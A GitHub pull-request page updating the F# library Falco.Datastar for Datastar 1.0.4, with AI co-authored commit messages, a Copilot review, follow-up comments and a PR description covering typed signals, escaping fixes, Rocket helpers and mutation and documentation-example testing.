…very build An audit of every claim the README makes against the Datastar v1.0.4 source, rather than against its documentation, checked 96 of them. 88 were right, and four were not. Two of the four were behaviour a reader would rely on. The reason given for refusing a hyphen in a signal name was wrong. Datastar's own signal pattern treats '-' as part of a name, and its source says so: '$foo-bar -> $['foo-bar']', where '$foo - $bar' is the subtraction. The rule is still right, but for a narrower reason: the name also has to survive an attribute name, and the HTML parser has already lowercased it there, so myCount and my-count would be two signals. The README and the error message now say that instead. The separate note about spacing operators around minus is right, because that is the case Datastar reads as subtraction, and it now reads as a deliberate companion rather than a contradiction. '$count -> count.value' described an API that does not exist. Datastar 1.0.4 rewrites $count to a read of the signal, and the root proxy returns the value, so there is no .value accessor anywhere in the library. That was the pre-1.0 mental model, and it was the most repeated idea in the section that explains what '$' means. The version boundaries for bindProp and bindEvent were checked against the tags: the __prop modifier is absent in RC.7 and present in 1.0.0, so the original note was right and an edit that 'corrected' it was wrong. Reverted. And three things the README asserted without explaining, each of which a reader hits on a first app: a read handler has to send the state before it waits, because a reopened stream has no state; data-on-signal-patch listens on the document, so a filter is effectively required; and Ds.indicator only moves when it is on the same element as the action. Ds.signals also now says that a property name is one signal rather than a path. The compression example was missing `open Microsoft.AspNetCore.ResponseCompression`, which is how the example checker found it. test/readme-examples.fsx type-checks every standalone block in the README and the changelog against the built library, and build.yml runs it. Seven of the fourteen blocks stand alone and are checked; the rest continue from a block above them and are listed with the reason, so a block that stops being one stops being skipped. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
Copilot review overview
🟡 Changes recommended
Rocket signal scoping is implemented from an incorrect upstream premise, with additional escaping, parsing, API-safety, and test-harness defects.
Review effort: Balanced
Findings: 1
Open (17)
Reject malformed UTF-8 during manifest decoding · New Allow typed component-local signal attributes · New Enforce numeric constraints for arithmetic signals · New Restrict prop values to supported numeric types · New Reject malformed optional property types · New Use culture-invariant case-insensitive replacements · New Escape line separators after backslashes · New Update tests to allow local signal attributes · New Preserve selected fragment group indices · New Compile all documentation blocks or mark excerpts · New Drain stdout and stderr concurrently · New Remove contributor-specific assistant profile files · New Correct inaccurate upgrade behavior note · New Update example to use the current component API · New Correct README guidance on typed local signals · New Document automatic prop name kebab-casing · New Correct signal setup restriction documentation · New
What changed in this PR
Updates Falco.Datastar for Datastar 1.0.4 with typed APIs, Rocket support, corrected request behavior, and expanded verification.
Changes:
- Adds typed signals, expressions, statements, and Rocket helpers.
- Adds Rocket manifest parsing and request handling.
- Expands unit, property, simulation, mutation, browser, documentation, and CI checks.
| File | Description |
|---|---|
.commandcode/taste/taste.md |
Adds assistant-profile pointer. |
.commandcode/taste/taste/taste.md |
Adds contributor-specific assistant profile. |
.github/workflows/build.yml |
Expands build, test, documentation, and package checks. |
.github/workflows/dst.yml |
Adds scheduled simulation tests. |
.github/workflows/e2e.yml |
Adds on-demand browser tests. |
.github/workflows/mutation.yml |
Adds scheduled mutation testing. |
CHANGELOG.md |
Documents 1.4.0 behavior and migration. |
Falco.Datastar.sln |
Adds the Rocket example and fixes path casing. |
README.md |
Documents typed and Rocket APIs. |
examples/RocketComponents/RocketComponents.fs |
Implements the Rocket example application. |
examples/RocketComponents/RocketComponents.fsproj |
Defines the example project. |
examples/RocketComponents/appsettings.json |
Configures the example host. |
src/Falco.Datastar/Ds.fs |
Adds typed overloads and corrected Datastar helpers. |
src/Falco.Datastar/Expr.fs |
Implements typed signals, expressions, and statements. |
src/Falco.Datastar/Falco.Datastar.fsproj |
Updates package version and source dependencies. |
src/Falco.Datastar/Request.fs |
Adds Rocket manifest request reading. |
src/Falco.Datastar/Rocket.fs |
Adds server-side Rocket helpers. |
src/Falco.Datastar/RocketManifest.fs |
Parses Rocket manifests. |
src/Falco.Datastar/Types.fs |
Extends request options and attribute types. |
src/Falco.Datastar/Utility.fs |
Adds escaping, validation, and kebab conversion. |
test/Falco.Datastar.E2E/BrowserFixture.fs |
Hosts shared browser and example fixtures. |
test/Falco.Datastar.E2E/BrowserTests.fs |
Exercises behavior in Chromium. |
test/Falco.Datastar.E2E/Falco.Datastar.E2E.fsproj |
Defines the browser-test project. |
test/Falco.Datastar.E2E/Program.fs |
Adds the test executable entry point. |
test/Falco.Datastar.E2E/README.md |
Documents browser testing. |
test/Falco.Datastar.E2E/Site.fs |
Provides browser-test pages and endpoints. |
test/Falco.Datastar.Tests/CompatibilityTests.fs |
Compile-checks compatibility promises. |
test/Falco.Datastar.Tests/DistributionTests.fs |
Checks simulation-generator distributions. |
test/Falco.Datastar.Tests/DsTests.fs |
Expands helper output tests. |
test/Falco.Datastar.Tests/Dst.fs |
Adds deterministic simulation orchestration. |
test/Falco.Datastar.Tests/DstHtmlTests.fs |
Simulates hostile HTML inputs. |
test/Falco.Datastar.Tests/DstManifestTests.fs |
Simulates malformed manifests and streams. |
test/Falco.Datastar.Tests/EscapingTests.fs |
Tests escaping boundaries. |
test/Falco.Datastar.Tests/ExprTests.fs |
Tests typed expressions and statements. |
test/Falco.Datastar.Tests/Falco.Datastar.Tests.fsproj |
Expands frameworks and test dependencies. |
test/Falco.Datastar.Tests/Fragments.fs |
Defines weighted hostile inputs. |
test/Falco.Datastar.Tests/Generator.fs |
Implements deterministic SplitMix64 generation. |
test/Falco.Datastar.Tests/GeneratorTests.fs |
Pins generator behavior. |
test/Falco.Datastar.Tests/PropertyTests.fs |
Adds property-based invariants. |
test/Falco.Datastar.Tests/README.md |
Documents the test strategy. |
test/Falco.Datastar.Tests/RequestOptionsTests.fs |
Tests corrected request serialization. |
test/Falco.Datastar.Tests/RequestTests.fs |
Tests request signal reading. |
test/Falco.Datastar.Tests/ResponseTests.fs |
Tests SSE response helpers. |
test/Falco.Datastar.Tests/RocketManifestTests.fs |
Tests manifest parsing and limits. |
test/Falco.Datastar.Tests/RocketTests.fs |
Tests Rocket rendering helpers. |
test/Falco.Datastar.Tests/TestHelpers.fs |
Adds shared test utilities. |
test/mutation/Mutants.fs |
Defines mutation cases. |
test/mutation/Program.fs |
Adds mutation-runner CLI handling. |
test/mutation/Runner.fs |
Runs and restores source mutations. |
test/mutation/mutation.fsproj |
Defines the mutation project. |
test/readme-examples.fsx |
Type-checks documentation examples. |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
The review said Rocket scopes an attribute's signal name to the component whether or not setup declared it. That is right, and the refusal added here for the opposite reason removed a valid use. Rocket's rewriteDataAttributes turns data-signals:NAME into data-signals:SIGNAL_PATH_BASE.NAME, and does the same for the key of data-bind, data-computed and data-indicator, for every element in the component's subtree. A name the setup declared is mapped through the component's local signals; one it did not still gets the component's path. Either way two instances of a component never share it, so a Rocket signal is correct in an attribute key. The check for it had read only the localSignals lookup and missed the fallthrough that prefixes the path. Ds.signal, Ds.bind, Ds.computed and Ds.indicator take one again, the tests that asserted the refusal now assert the output, and what the scoping actually needs, a component to be rendered inside, is documented rather than refused. Request.getRocketManifests used Encoding.UTF8, which replaces a byte it cannot decode with U+FFFD and carries on, so a body that was not valid UTF-8 arrived with a tag name or a doc string quietly altered and then parsed as a manifest. It now decodes strictly and returns NotJson. The arithmetic operators and Rocket.propNumber took anything IFormattable, which string, DateTime, DateTimeOffset, Guid and TimeSpan all are, so Expr.add on a Signal<string> compiled. They now need System.Numerics.INumberBase, which is the set of types JavaScript's number type stands for. propNumber also refuses a value that is not finite: Rocket's number codec runs Number(value) and turns anything not finite into 0, so NaN reached the component as 0 rather than as an error. RocketManifest.parse read a property of the wrong kind as absent, so "required":"yes" became Required = false, which is a different claim from the one the manifest makes. required, kind, bubbles, composed, description, label, control and placeholder now give WrongKind, naming the property and where it is. The two case-insensitive regexes of Datastar's kebab function folded by .NET's current culture, where JavaScript has none. Under Turkish an I no longer matched [a-z], so "rowI1" became row-i1 where Rocket reads row-i-1, and the kebab cache kept the wrong attribute name for the life of the process. Both fold the way JavaScript does. The test builds the culture by name and skips on a runtime with no ICU rather than passing for the wrong reason. A U+2028 or U+2029 straight after a backslash in a signals filter fell through to the catch-all and was written raw. A regular expression literal cannot contain a line terminator, so the whole filter expression failed to parse. The distribution test inferred which group a draw came from by looking its text up, and a fragment that is in two groups, such as ' in attributeBreak and quoteEnd, always counted for the first. The generator now returns the index it chose. The example checker skipped any block not beginning with "let", which was 58 of 71 in the README and all three in the changelog, while reporting how many it had checked. Every block is checked now unless it carries a README-EXCERPT marker, which is read from the block and whose reason is printed every run. It also ran the blocks rather than loading them, so the getting-started block started a web server on port 5000 and every block after it failed; it loads them with --use, which type-checks without evaluating. Both streams are drained at once, since reading stdout to the end first deadlocks once stderr fills. The .commandcode taste files are assistant preferences, not source, and are removed and ignored. 335 tests on net8.0, net9.0 and net10.0, and 98 mutants still matching the source. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The check on the documented examples was not checking them. It ran each block through `dotnet fsi --use:`, which loads and evaluates the file, so the getting-started example called `.Run()`, bound port 5000, and the process sat there until it was killed. That is why this step used to take half an hour, and it is why it was easy not to notice. It now compiles each block with fsc, which never evaluates, so an example that starts a web server costs nothing. The block is written as a .fs file inside a module, because fsc takes a program and not a script. Each block is compiled on its own rather than sharing one file, so a block that only compiles because an earlier one defined a name fails. That is the property a reader needs, and it is why there is one compiler process per block. Two things were wrong beyond the hang: - The run printed a failure and exited zero, so a broken example was a green build. It now exits nonzero. - It reported how many blocks it had checked without asserting it, which is how an earlier version came to skip 58 of 71 and still look like coverage. A floor on the count now fails the build. Eleven examples are fragments of an example above them and cannot stand alone; each now says so in a README-EXCERPT comment with the reason, and the reason is printed on every run. Three real mistakes in the README were found on the way: a stray leading space in a code block, and two fragments that were missing an `open`. Verified by breaking an example and confirming this fails and exits 1, rather than by the run passing. Co-authored-by: CommandCodeBot <noreply@commandcode.ai>
|
All 17 findings addressed and each thread answered and resolved. Summary of what changed, and one correction worth reading first. The Rocket scoping finding was right and my original reasoning was wrong. I had refused The rest, all verified against the Datastar v1.0.4 source before changing anything:
The documentation-example check was not checking anything, in two ways. It only inspected blocks beginning with It now compiles each block with Turning it on found three real mistakes in the README: a stray leading space in a code block, and two fragments missing an Verification. 335 tests green on net8.0, net9.0 and net10.0; 19 browser tests green in Chromium; solution builds with no warnings outside the NuGet advisories the project deliberately allows; package gate reads the built One caveat worth stating: the full mutation run (all 98 mutants killed, roughly 25 minutes) has not been re-run since |
The full mutation run reported 96 of 98 killed and left two as survivors, each printed as a test to write. Both were investigated and neither is a gap in the tests. They are mutations the code cannot tell apart from the original, and saying so is the honest outcome; writing a test that claims to catch them would be worse than recording the measurement. `a response starts the stream twice`: the SDK's StartServerEventStreamAsync is idempotent. Its state machine assigns the content type and cache control rather than appending, so a second call leaves one value in the header collection, writes nothing to the body and throws nothing. Measured against the real SDK, all three are identical after one call and after two. The first attempt at a test for this counted header values and did kill the mutant, but only because the task had not been awaited yet; once awaited the count stayed at 1 and the test would have passed for the wrong reason. That test is not in this commit. `ofRemoveElementOptions ignores the options the caller passed`: RemoveElementOptions has one field, EventId, and a removal event carries no id. Confirmed by compiling a record update naming a field the SDK does not have, which is rejected, and by reading the bytes the SDK writes. The existing test already asserts there is no id on a removal. Both now carry the evidence in the mutant list, so a later run reports them as equivalent rather than as work outstanding. Co-authored-by: CommandCodeBot <noreply@commandcode.ai>
|
Follow-up: the full mutation run finished, so this is no longer resting on the weekly schedule. 96 of 98 killed. The other two are not test gaps — they are mutations the code genuinely cannot be told apart from the original, and I investigated both rather than writing tests that claim to catch them.
Worth recording honestly: I first wrote a test for this that counted header values, and it killed the mutant — but only because the task had not been awaited yet. Once awaited, the count stayed at 1 and the test would have passed for entirely the wrong reason. I did not keep it. A green test that catches a bug by accident is worse than an honest survivor.
Both are now marked equivalent in the mutant list with the measurement as evidence, so future runs report them as such rather than as outstanding work. All 98 mutations are accounted for. Everything else re-verified after the change: 335 tests green on net8.0/net9.0/net10.0, solution builds with no warnings outside the NuGet advisories the project allows, all 63 documented examples compile, mutant list validates. |
Sorting the SDK directory names as text puts "9.0.301" above "10.0.401", because "9" is the larger character. The example check was therefore compiling every documented example with the oldest SDK on the machine rather than the one the library is built with, and quietly checking them against a language version the project does not target. A block using something the real compiler accepts could have been rejected, or the reverse, with nothing in the output to say which compiler ran. Versions are now compared as numbers, and a directory whose name is not a release version, such as "11.0.100-rc.1", is skipped rather than read as far as it parses. Verified against the versions actually installed: 10.0.401 and an 11.0 preview, where the old sort picked the preview. Co-authored-by: CommandCodeBot <noreply@commandcode.ai>
…name Two ways this would have failed on a machine that is not mine. The compiler was started with its file name and every reference joined into one argument string, so any path containing a space was split into two arguments. The scratch file is under the temp directory and the SDK is under the user's home, so a checkout under "C:\Program Files", or a user directory with a space in it, fails to build or references the wrong assembly. The arguments now go on the list the BCL quotes for us. Setting both the list and the joined string is refused outright, so only the list is set. The scratch file was named from a hash of the block's text, so two identical examples shared one file name and the second overwrote the first while its compiler was still reading it. It now carries a counter. Verified both ways: 63 examples type-check and the run exits 0, and with one example deliberately broken it reports that block and exits 1. Co-authored-by: CommandCodeBot <noreply@commandcode.ai>



Binds Datastar 1.0.4 and adds a typed layer for signals, expressions and statements, plus server-side helpers for Rocket components.
Every claim in the README about Datastar's behaviour was checked against the v1.0.4 source rather than against its documentation, and a few of the things that were documented before turned out to be wrong. Those are the reason for most of the output changes below.
What is new
A typed layer.
Signal.browser,Signal.server,Signal.rocket,ExprandStmtlet the compiler check what a JavaScript string cannot: that a signal exists, that a condition is a boolean, and that a value has the type of its signal. The string helpers are unchanged and still there.Rocket helpers for what a server renders: props with the codec each component expects, component-scoped signals, and the template directives. Rocket is in beta upstream and this follows its current shape.
Request helpers for reading signals, and a
Responsemodule covering the Server Sent Events.Output that changes, and why
These are the ones worth reading. Each was checked against Datastar's source, and each was wrong or silently ineffective before.
Ds.setAllandDs.toggleAlldid nothing at all. They wrote@setAll('foo.', true). Datastar's signature isapply(_, value, filter)andtoggleAlltakes only a filter, so the prefix was being taken as the value and the value as the filter. They now write@setAll(true, { include: /^foo\./ })and@toggleAll({ include: /^foo\./ }). The prefix is escaped as well, so a prefix containing a regex character now matches literally.Ds.safariStreamingFixnever fired. It wrotedata-on:pageshow.window; Datastar has read modifiers after__since 1.0.0, so it was listening for an event calledpageshow.window.Retrywas ignored, because it was never written.Retry = OnError,OnAlwaysandOnNevernow reach Datastar, so a request that sets one behaves differently.RetryMaxWaitwas ignored too, under the nameretryMaxWaitMs, which Datastar stopped reading in 1.0.0. It is nowretryMaxWait.FilterSignalsraisedJsonReaderExceptionfor any pattern, because the filter was written as if it were JSON. It is now{"filterSignals":{"include":"^foo"}}.ContentType = CustomJsonsent the wrong key. It wroteoverride, which Datastar does not have, so the signals went as usual. It now sendspayload.AbortController "$ctl"was sent as the text"$ctl", which Datastar ignores, because Datastar wants the controller object itself rather than its name. It is now written as$ctl, so the expression reads the signal that holds the controller.Text is escaped.
Ds.get,Ds.postand the rest escape the URL,Ds.signalescapes its value, andDs.refdid not escape at all, so a name containing a quote ended the attribute and added attributes of its own. A name with no quote, angle bracket or ampersand renders exactly as before.Names are checked. A signal name that Datastar would read differently from an expression, and a name that could end an attribute name early, now raise an
ArgumentExceptionthat says what to write. This is new behaviour on input that used to be accepted, andDs.class' ("card__title", …)is refused: Datastar reads that as a class calledcardwith a modifiertitle.OpenWhenHiddenis nowbool voption. It used to default tofalseand never be sent, so a@postgot Datastar'strueanyway. Leaving it unset now means Datstar's per-method default applies.Breaking changes
OpenWhenHidden = truebecomesOpenWhenHidden = ValueSome true.let click handler = Elem.button [ Ds.onClick handler ] []orList.map Ds.show, now fails with FS0041. Add a type annotation. The typed overloads are new, so no released code is affected.BackendAction.Query,RequestCancellation.CleanupandOnEventModifier.Documentare new union cases, so an exhaustivematchgets warning FS0025.Signal.tryCreatereturns aSignalNameErrorrather than text, andRocketManifest.parseandRequest.getRocketManifestsreturn aRocketManifestError.SignalPath.getSignalFromJsonstill returnsValueNonefor a value it cannot read, as it always has.Signal.rocketis refused byDs.signal,Ds.bind,Ds.computedandDs.indicator. Rocket scopes an attribute's signal name to one component only for a signal that component declared with$$('name', value)in its setup, so anywhere else the name quietly meant a page signal that two components would share. Inside a component, useRocket.local, or declare the signal there and bind to it withDs.bind "name".Testing
DST_SEEDS=2000for a long sweep.test/mutation) make a deliberate mistake in the source and require the suite to notice. 98 mutants, and the run prints how much of the library they rewrite so "all killed" is not read as more than it is. Mutation runs cannot be generated here, because no tool supports F#, so the list is hand-written andcheckverifies every entry still matches the source.CI builds the solution, fails on any warning, type-checks every F# example in the README and the changelog against the built library, and checks the package contents. The mutation and DST runs also run on a schedule, so a claim about the tests cannot quietly rot.
What I would want reviewed
Utility.fsare the security boundary, since Falco.Markup does not escape attribute values or names. I would like a second opinion onJsandGuardspecifically.Expr.fs. They refuse names for reasons that come from Datastar's parser; if any of those reasons is wrong the rule is wrong with it.Rocket.fsmay need to move with it.